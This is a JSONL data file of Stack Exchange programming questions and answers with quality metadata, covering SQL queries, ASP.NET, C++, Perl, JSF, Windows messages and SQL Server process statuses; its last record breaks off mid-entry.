{"id": "hf_39f7e275804d", "question": "<p>I have an ASP page which will fetch records from a SQL server DB table. The table \"order_master\" has a field called order_date. I want to frame a select query to fetch order date > a date entered by user(ex : 07/01/2008)</p>\n\n<p>I tried with convert and cast, but both are not working. The sample data in order_date column is 4/10/2008 8:27:41 PM. Actually, I dont know what type it is (varchar/datetime).</p>\n\n<p>Is there any way to do that?</p>\n", "question_body": "", "answer": "You could create a stored procedure like this\n```\n```\nCREATE PROCEDURE GetOrders\n    @OrderDate DATETIME\nAS\nSELECT\n    *\nFROM order_master\nWHERE Order_Date > @OrderDate\n\nGO\n```\n```\nThen you can just convert the users input to a date before calling the stored procedure via your ASP code.\nEdit\nI just noticed the remark about the column type, you can run this command\n```\n```\nsp_help order_master\n```\n```\nto get column information to find the data type of order_date.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:58.461547"}
{"id": "hf_9893b13b992c", "question": "<p><a href=\"https://stackoverflow.com/questions/205887/postback-security\">Related Article</a></p>\n\n<p>On a similar topic to the above article, but of a more specific note. How exactly do you handle items that are in the viewstate (so they are included on submit), but can also be changed via AJAX. For instance, say we had a dropdown list that was populated through an AJAX web service call (not an update panel). How can I get the page to validate once the dropdownlist's items have been changed?</p>\n", "question_body": "", "answer": "why not validating onChange even in the dropdownlist?\njust add the script manager and add that property to the onchange in the Page_Load event\n```\n' Creating the javascript function to validate\nDim js As String\njs = \"function validateDDL1(ddl) { alert(ddl.value); }\"\n\n' Adding onChange javascript method\nDropDownList1.Attributes.Add(\"onchange\", \"validateDDL1(this);\")\n\n' Registering the javascript\nScriptManager.RegisterClientScriptBlock(Me, GetType(String), \"validateDDL1(ddl)\", js, True)\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:58.499407"}
{"id": "hf_cd2771c3b086", "question": "<p>I'm using the following syntax to loop through a list collection:</p>\n\n<pre><code>For Each PropertyActor As JCPropertyActor In MyProperty.PropertyActors\n\n    i = IndexOf(PropertyActor)\nNext\n</code></pre>\n\n<p>How do I get the index of the current object within the loop? I'm using IndexOf(PropertyActor) but this seems inefficient as it searches the collection when I already have the object available!</p>\n", "question_body": "", "answer": "just initialize an integer variable before entering the loop and iterate it...\n```\n```\nDim i as Integer \nFor Each PropertyActor As JCPropertyActor In MyProperty.PropertyActors\n    i++\nNext\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:58.523561"}
{"id": "hf_049e6991522e", "question": "<p>I have SQL data that looks like this:</p>\n<pre><code>events\nid name         capacity\n1  Cooking        10\n2  Swimming       20\n3  Archery        15\n\nregistrants\nid  name\n1   Jimmy\n2   Billy\n3   Sally\n\nregistrant_event\nregistrant_id  event_id\n     1             3\n     2             3\n     3             2\n</code></pre>\n<p>I would like to select all of the fields in 'events' as well as an additional field that is the number of people who are currently registered for that event.  In this case Archery would have 2 registrants, Swimming would have 1, and Cooking would have 0.</p>\n<p>I imagine this could be accomplished in a single query but I'm not sure of the correct syntax. <strong>How would a query be written to get that data?</strong></p>\n", "question_body": "", "answer": "```\n```\nSELECT e.*, ISNULL(ec.TotalRegistrants, 0) FROM events e LEFT OUTER JOIN\n(\n   SELECT event_id, Count(registrant_id) AS TotalRegistrants\n   FROM registrant_event\n   GROUP BY event_id\n) ec ON e.id  = ec.event_id\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:58.545666"}
{"id": "hf_540d44c8e61d", "question": "<p>I have code like this:</p>\n\n<pre><code>template &lt;typename T, typename U&gt; struct MyStruct {\n    T aType;\n    U anotherType;\n};\n\nclass IWantToBeFriendsWithMyStruct\n{\n    friend struct MyStruct; //what is the correct syntax here ?\n};\n</code></pre>\n\n<p>What is the correct syntax to give friendship to the template ?</p>\n", "question_body": "", "answer": "```\n```\nclass IWantToBeFriendsWithMyStruct\n{\n    template <typename T, typename U>\n    friend struct MyStruct;\n};\n```\n```\nWorks in VS2008, and allows MyStruct to access the class.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:58.590839"}
{"id": "hf_abb48c6d1b6a", "question": "<p>I've been looking for a simple regex for URLs, does anybody have one handy that works well?  I didn't find one with the zend framework validation classes and have seen several implementations.</p>\n", "question_body": "", "answer": "I used this on a few projects, I don't believe I've run into issues, but I'm sure it's not exhaustive:\n```\n```\n$text = preg_replace(\n  '#((https?|ftp)://(\\S*?\\.\\S*?))([\\s)\\[\\]{},;\"\\':<]|\\.\\s|$)#i',\n  \"'<a href=\\\"$1\\\" target=\\\"_blank\\\">$3</a>$4'\",\n  $text\n);\n```\n```\nMost of the random junk at the end is to deal with situations like\n```\nhttp://domain.example.\n```\nin a sentence (to avoid matching the trailing period). I'm sure it could be cleaned up but since it worked. I've more or less just copied it over from project to project.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:58.625881"}
{"id": "hf_d6a6b22a8f57", "question": "<p>In MySQL 5.0 why does the following error occur when trying to create a view with a subquery in the FROM clause?</p>\n\n<blockquote>\n  <p>ERROR 1349 (HY000): View's SELECT contains a subquery in the FROM clause</p>\n</blockquote>\n\n<p>If this is a limitation of the MySQL engine, then why haven't they implemented this feature yet?</p>\n\n<p>Also, what are some good workarounds for this limitation?</p>\n\n<p>Are there any workarounds that work for any subquery in the FROM clause or are there some queries that can not be expressed without using a subquery in the FROM clause?</p>\n\n<hr>\n\n<p>An example query (was buried in a comment):</p>\n\n<pre><code>SELECT temp.UserName \nFROM (SELECT u1.name as UserName, COUNT(m1.UserFromId) as SentCount \n      FROM Message m1, User u1 \n      WHERE u1.uid = m1.UserFromId \n      Group BY u1.name HAVING SentCount &gt; 3 ) as temp\n</code></pre>\n", "question_body": "", "answer": "It appears to be a known issue.\nhttp://dev.mysql.com/doc/refman/5.1/en/unnamed-views.html\nhttp://bugs.mysql.com/bug.php?id=16757\nMany IN queries can be re-written as (left outer) joins and an IS (NOT) NULL of some sort. for example\n```\n```\nSELECT * FROM FOO WHERE ID IN (SELECT ID FROM FOO2)\n```\n```\ncan be re-written as\n```\n```\nSELECT FOO.* FROM FOO JOIN FOO2 ON FOO.ID=FOO2.ID\n```\n```\nor\n```\n```\nSELECT * FROM FOO WHERE ID NOT IN (SELECT ID FROM FOO2)\n```\n```\ncan be\n```\n```\nSELECT FOO.* FROM FOO \nLEFT OUTER JOIN FOO2 \nON FOO.ID=FOO2.ID WHERE FOO.ID IS NULL\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:58.649181"}
{"id": "hf_9a48344eb29d", "question": "<p>I need to let end users specify a time range, to be stored and used internally as a starting date/time and ending date/time.  The range could be minutes or it could be days.</p>\n\n<p><strong>Has anyone discovered an interactive control that can handle this elegantly?</strong></p>\n\n<p>Most GUI toolkits have a calendar control, so I could specify \"start\" with a calendar for the day and a text field for the time...and the same for \"end\".</p>\n\n<p>I could also replace the \"end\" controls with a single text field or slider that simply describes how many seconds/minutes/hours after start \"end\" is.</p>\n\n<p>What I don't like about these ideas is how much clicking, typing, and more clicking is required to describe such a simple concept.  Also I have to slap the user's hand if a time is typed in that isn't recognizable as a time.</p>\n\n<p>Is there a cleaner implementation that I'm overlooking?</p>\n", "question_body": "", "answer": "There is no single answer, it depends on the context. For many places good text controls are enough. Of course such things can still help by supporting pasting and some increase/decrease actions. Maybe it can even do some validation for the value.\nThen there are places that need something more. Calendar can be really helpful for entering dates and some kind of slider could be used for time. (Lotus Notes calendar has a slider.)\nMy advise is:\nThink what you need. Don't put complicated widgets to a less used dialog.\nIf you need these nice helpful widgets, check if there are ready made in the library you are using and take some time to see how others have done these.\nAlways have the text controls with support for pasting.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:58.684453"}
{"id": "hf_8e74b215e002", "question": "<p>I'm working with <a href=\"http://pear.php.net/package/Log\" rel=\"nofollow noreferrer\">logging in PHP with Pear</a>, and I get into a standard problem: can I use file-based logging when the DB is not available? I don't mind if it's slow due to concurrency issues, but it cannot fail to work due to multiple, simultaneous hits. </p>\n\n<p>I'm asking this question in general (for other web technologies) and specifically for Pear for PHP.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "You can pass an existing database object into the\nsingleton method of Log\n- if you don't have a database you can revert to alternative logging methods (or good old user_error())\n```\n```\nrequire_once 'DB.php';\n$db = &DB::connect('pgsql://jon@localhost+unix/logs');\n\n$conf['db'] = $db;\n$logger = &Log::singleton('sql', 'log_table', 'ident', $conf);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:58.740782"}
{"id": "hf_359c15f00b89", "question": "<p>Are <a href=\"http://jquery.com/demo/thickbox/\" rel=\"noreferrer\">modal windows/dialogs</a> considered a good practice for websites?  One of the things that concerns me about using a modal window is that it is so much like a pop-up window and it could cause user frustration or cause users to simply close it because it's intrusive. Do you know of any studies that talk about user preferences and use rates? </p>\n\n<p>Are there any accessibility issues beyond having the a modal window link load the content in a new page when JavaScript is turned off? Do you <em>like</em> sites or web apps that use modal windows? Why or why not? What are good and bad practices for implementing modal windows? I know modals are probably most often used when displaying pictures or galleries, but what are some other practical use cases? Do you use them on your site and what lead you to your decision? </p>\n", "question_body": "", "answer": "From a practice standpoint - excluding accessibility - modal windows provide an alternative that are less startling as, say, dialog boxes and feel less intrusive than pop-up windows. They usually have a more cohesive feel to the site than either of the two aforementioned method. Aside from pictures or media, I've used modal dialogs to serve the same purpose as dialog boxes - to get the user to give some form of required input, or to acknowledge something before letting them interact with the site again.\nFrom a purely accessible standpoint, they aren't so great. They typically require JavaScript, and, because of the way that modals are managed with respect to the DOM, screen readers will not interpret them well. To combat this, it's always a good idea to degrade gracefully - one suggestion is to take the content of the modal dialog and place it on a page. Whenever the modal dialog\nshould\nappear, have the current page redirect to the 'modal page', get the user's input, and return to the page it was on.\nFinally, as far as my personal opinions are concerned, I don't mind modal windows. I think that, when used correctly, they provide a decent experience - if something\nhas\nto get my attention, then I'd rather it do so without redirecting me from the page, showing an ugly operating system themed dialog, or a pop-up (which my browser will likely block, anyway). I guess, to sum it up, if I had to choose\nhow\nI'd like to be interrupted, then I'd choose a modal dialog.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:58.764413"}
{"id": "hf_29aeafd968e0", "question": "<p>How you can read a file (text or binary) from a batch file? There is a way to read it in a binary mode or text mode?</p>\n", "question_body": "", "answer": "Under NT-style cmd.exe, you can loop through the lines of a text file with\n```\n```\nFOR /F %%i IN (file.txt) DO @echo %%i\n```\n```\nType \"help for\" on the command prompt for more information. (don't know if that works in whatever \"DOS\" you are using)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:58.785526"}
{"id": "hf_51c7200b73a6", "question": "<p>I've never used <a href=\"http://en.wikipedia.org/wiki/SOAP\" rel=\"noreferrer\">SOAP</a> before and I'm sort of new to Python.  I'm doing this to get myself acquainted with both technologies.  I've installed <a href=\"http://trac.optio.webfactional.com/wiki/soaplib\" rel=\"noreferrer\">SOAPlib</a> and I've tried to read their <a href=\"http://trac.optio.webfactional.com/wiki/Client\" rel=\"noreferrer\">Client</a> documentation, but I don't understand it too well.  Is there anything else I can look into which is more suited for being a SOAP Client library for Python?</p>\n\n<p>Edit: Just in case it helps, I'm using Python 2.6.</p>\n", "question_body": "", "answer": "Could this help:\nhttp://users.skynet.be/pascalbotte/rcx-ws-doc/python.htm#SOAPPY\nI found it by searching for\n```\nwsdl\n```\nand\n```\npython\n```\n, with the rational being, that you would need a wsdl description of a SOAP server to do any useful client wrappers....", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:58.828826"}
{"id": "hf_d0c3ae849208", "question": "<p>Is there any way to manually create fold points in code in Eclipse? I know how to enable folding and how to set the auto preferences, but i like being able to set my own fold points so I can ignore certain parts of my code. Think regions in VS.<br>\n I know there is in VS and NetBeans, but I cannot find a way to set manual fold  points in Eclipse.  </p>\n", "question_body": "", "answer": "I don't think Eclipse has built in manual folding, but I did use a previous version of the following plugin for it.\nPer the comment: The plugin has been recompiled for Eclipse 3.5 and is available at\nthe Apache Isis site\n. A\ndirect download link\nis also available. It also appears to work for Eclipse 3.6.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:58.852367"}
{"id": "hf_fbbb620a4e6b", "question": "<p>How would I get the length of an <code>ArrayList</code> using a JSF EL expression? </p>\n\n<pre><code>#{MyBean.somelist.length}\n</code></pre>\n\n<p>does not work.</p>\n", "question_body": "", "answer": "Yes, since some genius in the Java API creation committee decided that, even though certain classes have\n```\nsize()\n```\nmembers or\n```\nlength\n```\nattributes, they won't implement\n```\ngetSize()\n```\nor\n```\ngetLength()\n```\nwhich JSF and most other standards require, you can't do what you want.\nThere's a couple ways to do this.\nOne: add a function to your Bean that returns the length:\n```\nIn class MyBean:\npublic int getSomelistLength() { return this.somelist.length; }\n\nIn your JSF page:\n#{MyBean.somelistLength}\n```\nTwo: If you're using Facelets (Oh, God, why aren't you using Facelets!), you can add the fn namespace and use the length function\n```\nIn JSF page:\n#{ fn:length(MyBean.somelist) }\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:58.875742"}
{"id": "hf_126954eafb7e", "question": "<p>Microsoft like implementing their own versions of popular open-source frameworks and assemblies, for example:</p>\n\n<ul>\n<li>Microsoft's MVC Framework vs MonoRail</li>\n<li>Microsoft's Unity IoC container vs Castle Windsor / Spring.net / Ninject etc</li>\n<li>Microsoft's VS Unit Test framework vs nUnit (and various others)</li>\n</ul>\n\n<p>Questions:</p>\n\n<p>What else has Microsoft 'borrowed'?</p>\n\n<p>Which are better in each situation and why?</p>\n\n<p>What are people's attitudes towards the official Microsoft stuff vs the ALT.NET versions?</p>\n\n<p>What do you think is next to be taken under the Redmond wing?</p>\n\n<p><strong>EDIT</strong>\nOk, instead of which is 'better', which do you prefer to use as a developer?</p>\n", "question_body": "", "answer": "In the case of Unit Testing I've heard the answer from a Microsoft official. In fact, if I recall correctly, Microsoft's feature is even based on the NUnit code base.\nThe reason for copying this particular OpenSource product (and others, I've been told) is that customers want this. At first, this might seem like a cheap pretext but I can actually imagine some corporate customers who prefer it this way. Additionally, the Microsoft employee claimed that it's easier for Microsoft to provide customer support if they implemented the program themselves because they can take an extended responsability for the source. If that's true, OpenSource adoption has a long way to go. :-(", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:58.899501"}
{"id": "hf_e31df1437a18", "question": "<p>I need a way to determine whether the computer running my program is joined to any domain. It doesn't matter what specific domain it is part of, just whether it is connected to anything. I'm coding in vc++ against the Win32 API.</p>\n", "question_body": "", "answer": "what about from the name of the computer?\nedit:\nthis was a crapy 'answer' from way back. What I meant was cheching for the form\n```\ndomain\\name\n```\nin the computer name. That of course implies that you do know the name of the domain, it does not solves the issue of just knowing if the computer is in any domain.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:58.937828"}
{"id": "hf_57b042b919dc", "question": "<p>I want subversion to commit a file even if it's unchanged.  Is there a way to do this?</p>\n", "question_body": "", "answer": "I don't think that's possible, but first of all why do you need to do that? If a file is unchanged it shouldn't be commited.\nIf you really want that file grouped with other files in a commit you could change something minor inside (add a space for example).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:58.970954"}
{"id": "hf_7874cb684c46", "question": "<p>i have a class with a static public property called \"Info\". \nvia reflection i want to get this properties value, so i call:</p>\n\n<pre><code>PropertyInfo pi myType.GetProperty(\"Info\");\nstring info = (string) pi.GetValue(null, null);\n</code></pre>\n\n<p>this works fine as long as the property is of type string. but actually my property is of type IPluginInfo and a PluginInfo type (implementing IPluginInfo) is instatiated and returned in the Info properties get accessor, like this:</p>\n\n<pre><code>public static IPluginInfo PluginInfo\n{\n    get \n    {\n        IPluginInfo Info = new PluginInfo();\n        Info.Name = \"PluginName\";\n        Info.Version = \"PluginVersion\";\n        return Info;\n    }\n}\n</code></pre>\n\n<p>like this when i call:</p>\n\n<pre><code>IPluginInfo info = pi.GetValue(null, null) as IPluginInfo;\n</code></pre>\n\n<p>info is always null, whiel PropertyInfo pi is still valid. am i missing something obvious here?</p>\n", "question_body": "", "answer": "Could you create a short but complete program that demonstrates the problem?\nGiven that you're talking about plugins, my\nguess\nis that you've got the problem of having IPluginInfo defined in two different assemblies. See if\nthis article\nhelps at all.\nThe easiest way to verify it is to call\n```\npi.GetValue\n```\nand store the result in an\n```\nobject\n```\nvariable first, then do the cast or \"as\" in another line. That way you can break the debugger and look at the return value before it's lost.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:59.042821"}
{"id": "hf_a627390453b5", "question": "<p>I've successfully used the Windows SendMessage method to help me do various things in my text editor, but each time I am just copying and pasting code suggested by others, and I don't really know what it means.  There is always a cryptic message number that is a parameter.  How do I know what these code numbers mean so that I can actually understand what is happening and (hopefully) be a little more self-sufficient in the future?  Thanks.</p>\n\n<p>Recent example:</p>\n\n<pre><code>using System.Runtime.InteropServices;\n\n[DllImport(\"user32.dll\")]\nstatic extern int SendMessage(IntPtr hWnd, uint wMsg,UIntPtr wParam, IntPtr lParam);\n\nSendMessage(myRichTextBox.Handle, (uint)0x00B6, (UIntPtr)0, (IntPtr)(-1));\n</code></pre>\n", "question_body": "", "answer": "This is the windows message code.\nThey are defined in the header files, and generally available translated as an include of some sort with different languages.\nexample:\nWM_MOUSEMOVE = &H200\nMK_CONTROL = &H8\nMK_LBUTTON = &H1\nMK_MBUTTON = &H10\nMK_RBUTTON = &H2\nMK_SHIFT = &H4\nMK_XBUTTON1 = &H20\nMK_XBUTTON2 = &H40\nsee\nhttp://msdn.microsoft.com/en-us/library/ms644927(VS.85).aspx#windows_messages\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:59.067626"}
{"id": "hf_30a81d82d0fd", "question": "<p>i know this is an age old question, but this is my scenario</p>\n\n<p>This is in C# 2.0</p>\n\n<p>Have a windows application which has a datagridview control. This needs to be populates by making a webservice call.</p>\n\n<p>I want to achive the same functionality on the data if i were to use a direct connection and if i were using datasets, namely like paging and applying filters to returned data. i know returning datasets is a bad idea and am looking to find a good solution.</p>\n", "question_body": "", "answer": "I might look at\nADO.NET Data Services\n, aka Astoria, in VS2008 SP1.\nThis allows you to expose data over a web-service (WCF exposing ATOM, IIRC) - but you don't need to know all these details: the tooling worries about that for you: you just get regular IQueryable<T> sources on a data-context (not quite the same as the LINQ-to-SQL data-context, but same concept).\nThe good thing here is that a LINQ query (such as filtering (Where), paging (Skip/Take) etc) can get composed\nall\nthe way from the client,\nthrough\nthe web-service, and down to the LINQ-enabled data store (LINQ-to-SQL or Entity Framework, etc). So only the right data comes over the wire: if you ask for the first 10 rows (of 20000) ordered by Name, then that is what you get: 10 rows out of the database; 10 rows over the wire, no messing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:59.112890"}
{"id": "hf_6a493c5e3542", "question": "<p>How do you programmatically eject(safely remove) an USB mass storage device in Windows (XP)?</p>\n", "question_body": "", "answer": "You could spawn a process and use a\ncommand line tool\n. This would also work from other languages such as java where calling the Win32 api is harder.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:59.134322"}
{"id": "hf_1b668f2775a4", "question": "<p>I am declaring an array of void pointers. Each of which points to a value of arbitary   type.<br>\n   <code>void  **values;     // Array of void pointers to each value of arbitary type</code></p>\n\n<p>Initializing values as follows:</p>\n\n<pre><code>\n    values = (void**)calloc(3,sizeof(void*));\n    //can initialize values as: values = new void* [3];\n    int ival = 1;\n    float fval = 2.0;\n    char* str = \"word\";\n    values[0] = (void*)new int(ival);\n    values[1] = (void*)new float(fval);\n    values[2] = (void*)str;\n\n    //Trying to Clear the memory allocated\n    free(*values); \n    //Error: *** glibc detected *** simpleSQL: free(): invalid pointer: 0x080611b4\n    //Core dumped\n    delete[] values*;\n    //warning: deleting 'void*' is undefined\n    //Similar Error.\n</code></pre>\n\n<p>Now how do I free/delete the memory allocated for values ( the array of void pointers)?</p>\n", "question_body": "", "answer": "You'd have to keep track of how many void* were originally calloc'd, and iterate over them, free-ing each one, then free the original values variable.\ndarn formatting... (the preview is working fine).\n```\n```\nint ct = 3;\nvalues = (void*)calloc(ct,sizeof(void));\n//can initialize values as: values = new void* [3];\nint ival = 1;\nfloat fval = 2.0;\nchar* str = \"word\";\nvalues[0] = (void*)new int(ival);\nvalues[1] = (void*)new float(fval);\nvalues[2] = (void*)str;\n\nfor ( int i = 0; i < ct; i++ ) [\n    delete( values[i] );\n}\nfree( values );\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:59.168491"}
{"id": "hf_efa239dc7f2b", "question": "<p>I need to implement some kind of metric space search in Postgres(*) (PL or PL/Python). So, I'm looking for good sources (or papers) with a very clear and crisp explanation of the machinery behind these ideas, in such way that I can implement it myself.</p>\n\n<p>I would prefer clarity over efficiency.</p>\n\n<p>(*) The need for that is described better <a href=\"https://stackoverflow.com/questions/122990/how-to-determine-if-a-record-in-every-source-represents-the-same-person\">here</a>.</p>\n", "question_body": "", "answer": "Especially for geographical data, look at\nPostGIS\nfirst to see if you need to implement anything. If you do, start with the papers listed in the\nWikipedia entry on GiST\n.\nLooking at your link, it seems your metric space is strings with some sort of edit distance as the metric. A nice but oldish overview of some solutions is given by\nNavarro, Baeza-Yates, Sutinen, and Tarhio, IEEE Data Engineering Bulletin, 2001\n; the related papers on Citeseer could also be useful.\nLocality Sensitive Hashing\nis a newer technique that might be useful, but a lot of the papers are heavy on math.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:59.191407"}
{"id": "hf_d5c6fbc2833e", "question": "<p>I'm trying to traverse through all the subdirectories of the current directory in Perl, and get data from those files. I'm using grep to get a list of all files and folders in the given directory, but I don't know which of the values returned is a folder name and which is a file with no file extention. </p>\n\n<p>How can I tell the difference? </p>\n", "question_body": "", "answer": "```\n```\nprint \"$file is a directory\\n\" if ( -d $file );\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:59.260834"}
{"id": "hf_f0c3a08da08f", "question": "<p>How would I go about writing my own scrollbar using standard Java 2D.</p>\n\n<p>I really don't want to use swing, and I've already made up my own component parts for everything else such as buttons etc.</p>\n\n<p>I'm not really looking for code, rather the math involved in the event changes and the drawing.</p>\n", "question_body": "", "answer": "Why on earth would you want to write your own java GUI toolkit? You already have the choice of Swing and SWT, can you really do better than these two teams?\nIf you've already written the rest of the toolkit, I don't understand why the scrollbar would stump you. Without knowing anything about your event system, or how your custom components are structured, it's impossible to give much advise. I don't see this being particularly maths intensive - just maintain the height of the scrollable component, and the view it's in, and the scrollbar size should match the proportion of the component that is visible. The position of the scrollbar should match which part of the component is visible (this will have to be scaled). Specifically, what do you want to know?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:59.306803"}
{"id": "hf_ceded752bd1c", "question": "<p>i want to call a series of .sql scripts to create the initial database structure</p>\n\n<ol>\n<li>script1.sql</li>\n<li>script2.sql\netc.</li>\n</ol>\n\n<p>is there any way of doing this without sqlcmd or stored procedures <strong>or any other kind of code that is not sql</strong> ? \njust inside a .sql file.</p>\n", "question_body": "", "answer": "Sure.  Just create a little app that pulls in all the .sql files you want and executes them.  Do it in VB.NET as follows:\n```\n```\nSub ExecuteSqlScript(FilePath As String)\n\n    Dim Script As String\n    Dim FileNumber As Integer\n    Dim Delimiter As String\n    Dim aSubscript() As String\n    Dim Subscript As String\n    Dim i As Long\n\n    Delimiter = \";\"\n    FileNumber = FreeFile\n    Script = String(FileLen(FilePath), vbNullChar)\n\n    ' Grab the scripts inside the file\n    Open FilePath For Binary As #FileNumber\n    Get #FileNumber, , Script\n    Close #FileNumber\n\n    ' Put the scripts into an array\n    aSubscript = Split(Script, Delimiter)\n\n    ' Run each script in the array\n    For i = 0 To UBound(aSubscript) - 1\n        aSubscript(i) = Trim(aSubscript(i))\n        Subscript = aSubscript(i)\n        CurrentProject.Connection.Execute Subscript\n\n    Next i\n\nEnd Sub\n```\n```\nExample from:\nhttp://snipplr.com/view/3879/run-sql-script-from-external-file/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:59.388503"}
{"id": "hf_51a299af4adf", "question": "<p>Can someone tell me what the statuses mean in SQL Server's sp_who command?  Why might a spid be suspended?  What does it mean to be \"runnable\"?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Pretty easy to find answer online.\nLink\ndormant.\nSQL Server is resetting the session.\nrunning.\nThe session is running one or more batches. When Multiple Active Result Sets (MARS) is enabled, a session can run multiple batches. For more information, see Using Multiple Active Result Sets (MARS).\nbackground.\nThe session is running a background task, such as deadlock detection.\nrollback.\nThe session has a transaction rollback in process.\npending.\nThe session is waiting for a worker thread to become available.\nrunnable.\nThe session's task is in the runnable queue of a scheduler while waiting to get a time quantum.\nspinloop.\nThe session's task is waiting for a spinlock to become free.\nsuspended.\nThe session is waiting for an event, such as I/O, to complete.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": 